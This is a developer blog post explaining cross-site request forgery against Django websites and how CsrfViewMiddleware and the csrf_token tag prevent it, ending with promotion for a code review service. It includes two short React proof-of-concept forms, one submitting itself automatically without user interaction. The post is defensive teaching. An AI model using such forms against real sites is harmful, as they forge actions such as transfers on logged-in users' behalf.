DEV Community

Cover image for Hacking Django websites: Cross Site Request Forgery Protection
Code Review Doctor
Code Review Doctor

Posted on • Updated on

Hacking Django websites: Cross Site Request Forgery Protection

Ready for a Django security challenge? Play our Django security challenge.

A malicious website that is accessed by one of your logged in users can fool your website into thinking a request come from that user. That may look like this:

  1. The user accesses the malicious website
  2. The website executes JavaScript to perform a request to your website
  3. The browser exposes the user's cookies to your website
  4. Your website thinks the request came from them

Here's a concrete example of a CSRF attack:

And without need for interaction from the user

The impact of this attack depends on what the forms on your website do. Perhaps the form create a GitHub PR that removes Django tech debt from your codebase (like on https://django.doctor), or maybe it transfers money to someone? Bids on an item? Transfers ownership of the account to someone else? The possibilities are endless.

Code

The simplest proof of concept React code is as follows:

import React from 'react';

export default function (props) {
  return (
    <form action={"http://django.doctor/higher-tier/django-doctor-example/"} method="POST">
      <input type="submit" value="Do something innocent" />
    </form>
  );
}
Enter fullscreen mode Exit fullscreen mode

And to make the form submit automatically with no user interaction required:

import React from 'react';

export default function (props) {
  React.useEffect(function() { 
    document.forms[0].submit()
  }, []);

  return (
    <form action={"http://django.doctor/higher-tier/django-doctor-example/"} method="POST">
      <input type="submit" value="Do something innocent" />
    </form>
  );
}
Enter fullscreen mode Exit fullscreen mode

Prevention

Add the following to Django settings to prevent CSRF attacks:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    ...
]
Enter fullscreen mode Exit fullscreen mode

And use Django's csrf_token template tag in your forms. This will result in Django verifying the submitted form came from your website (the expectation being only your website will have valid csrf tokens).

Does your website have security vulnerabilities?

Over time it's easy for security vulnerabilities and tech debt to slip into your codebase. I can check that for you at django.doctor, or can review your GitHub PRs:

Alt Text

Or try out Django refactor challenges.

Top comments (0)